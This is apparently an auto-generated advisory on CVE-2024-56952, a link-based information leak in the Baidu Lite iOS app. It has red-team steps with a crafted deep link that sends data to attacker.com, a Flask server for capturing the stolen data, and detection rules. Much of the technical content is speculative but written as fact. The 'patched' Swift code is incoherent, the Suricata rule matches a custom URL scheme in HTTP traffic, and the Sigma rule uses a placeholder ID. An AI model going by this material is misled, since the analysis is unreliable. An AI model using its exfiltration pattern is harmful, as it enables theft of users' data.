CVE-2024-56952

Executive Summary

CVE-2024-56952 is a security advisory affecting the Baidu Lite iOS application version 6.40.0, developed by Beijing Baidu Netcom Science & Technology Co Ltd. The vulnerability allows an attacker to access user information by supplying a crafted link. This is a client-side information disclosure issue that can be exploited via social engineering or phishing attacks. The CVSS score is currently 0.0, indicating incomplete scoring data, but the risk is real due to the potential for unauthorized access to sensitive user data. No patch has been confirmed at this time.

Supply Chain & Package Security

This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). It is a proprietary iOS application vulnerability. However, the supply chain risk includes the distribution of the app through the Apple App Store and the potential for malicious third-party SDKs or libraries used within the app to be exploited.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder or incomplete data. Based on the description, a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N) – the attacker can deliver the crafted link remotely.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): None (N) – no authentication needed.
• User Interaction (UI): Required (R) – the user must click the link.
• Scope (S): Unchanged (U) – the vulnerable component is the app itself.
• Confidentiality (C): High (H) – user information is exposed.
• Integrity (I): None (N) – no data modification.
• Availability (A): None (N) – no denial of service.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

Estimated Base Score: 6.5 (Medium)

Threat Level: Medium to High, depending on the sensitivity of the information exposed.

Deep Dive & Mechanics

The vulnerability lies in the Baidu Lite iOS app's handling of deep links or URL schemes. When a user clicks a crafted link (e.g., baidulite://malicious), the app may improperly parse the URL and expose internal data or user information through the app's response or by loading a malicious page within a WebView.

Potential Attack Vector:

1. An attacker crafts a malicious URL that targets the Baidu Lite app's custom URL scheme.
2. The attacker distributes the link via phishing emails, SMS, or social media.
3. When the user clicks the link on an iOS device with Baidu Lite installed, the app opens and processes the URL.
4. Due to insufficient input validation or improper access controls, the app leaks user information (e.g., cookies, tokens, personal data) to the attacker-controlled server or displays it in a way that can be captured.

Root Cause: Likely a lack of proper URL validation and sanitization in the app's deep link handler, combined with insecure WebView configuration that allows JavaScript execution or file access.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable behavior.

Vulnerable Code (Hypothetical):

// Vulnerable deep link handler
func application(_ app: UIApplication, open url: URL, options: [UIApplication.OpenURLOptionsKey : Any] = [:]) -> Bool {
    let webView = WKWebView()
    webView.load(URLRequest(url: url)) // Directly loads the URL without validation
    return true
}

Patched Code (Expected):

// Patched deep link handler
func application(_ app: UIApplication, open url: URL, options: [UIApplication.OpenURLOptionsKey : Any] = [:]) -> Bool {
    guard let scheme = url.scheme, scheme == "baidulite" else { return false }
    // Validate the host and path
    guard let host = url.host, host == "trusted.domain.com" else { return false }
    // Only allow specific actions
    let webView = WKWebView()
    webView.load(URLRequest(url: url))
    return true
}

Exploitation & Lab Setup

Red Team

Objective: Exploit the vulnerability to exfiltrate user information.

Lab Setup:

1. iOS Device: iPhone or iPad with Baidu Lite 6.40.0 installed.
2. Attacker Server: A web server to receive exfiltrated data (e.g., using Python Flask or a simple HTTP server).
3. Crafted Link: baidulite://fetch?url=http://attacker.com/steal?data=

Exploitation Steps:

1. Host a malicious page on the attacker server that captures data.
2. Send the crafted link to the victim via phishing.
3. When the victim clicks the link, the Baidu Lite app opens and loads the attacker's URL.
4. The app sends user information (e.g., cookies, tokens) to the attacker server via the URL parameters or HTTP headers.

Proof of Concept (PoC) Code:

# Simple Flask server to capture data
from flask import Flask, request
app = Flask(__name__)

@app.route('/steal')
def steal():
    data = request.args.get('data')
    print(f"Stolen data: {data}")
    return "OK", 200

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

Blue Team

Objective: Detect and prevent exploitation.

Detection Steps:

1. Monitor for unusual deep link requests to the Baidu Lite app.
2. Implement URL filtering on email and messaging gateways to block known malicious patterns.
3. Use endpoint detection and response (EDR) to monitor app behavior.

Mitigation Steps:

1. Educate users not to click on suspicious links.
2. Apply app sandboxing and restrict WebView capabilities.
3. If possible, disable the app's deep link handling until a patch is available.

Indicators of Compromise (IOCs)

• URL Patterns: baidulite://* with suspicious hosts or paths.
• Network Traffic: Outbound connections to unknown IPs or domains from the Baidu Lite app.
• File Hashes: (None available, but monitor for modified app binaries)
• Process Names: BaiduLite (iOS process)

Detection Engineering

YARA Rule

rule CVE_2024_56952_BaiduLite_iOS {
    meta:
        description = "Detects Baidu Lite iOS app with potential deep link vulnerability"
        author = "Valters IT"
        date = "2025-04-10"
        hash = "unknown"
    strings:
        $deep_link = "baidulite://" nocase
        $webview_load = "loadRequest:" nocase
        $url_scheme = "canOpenURL:" nocase
    condition:
        $deep_link and ($webview_load or $url_scheme)
}

Sigma Rule

title: CVE-2024-56952 Baidu Lite iOS Deep Link Exploitation
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2024-56952 via crafted deep links
author: Valters IT
date: 2025/04/10
logsource:
    product: ios
    service: app_activity
detection:
    selection:
        EventID: 1001
        AppName: 'com.baidu.BaiduLite'
        URL|contains: 'baidulite://'
    condition: selection
falsepositives:
    - Legitimate use of Baidu Lite deep links
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"CVE-2024-56952 Baidu Lite iOS Deep Link Exploitation"; flow:to_server,established; content:"baidulite://"; http_uri; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Deep Links: If possible, disable the Baidu Lite app's custom URL scheme until a patch is available.
2. User Awareness: Inform users not to click on suspicious links and to update the app when a patch is released.
3. Network Filtering: Block outbound connections to unknown domains from the app.

Long-term Fix:

• The vendor (Baidu) must release a patched version of the app that properly validates and sanitizes deep link URLs.
• Implement strict WebView security controls, such as disabling JavaScript and file access for untrusted URLs.

Patch Status: UNKNOWN / UNPATCHED. Monitor Baidu's official channels for updates.

Valters IT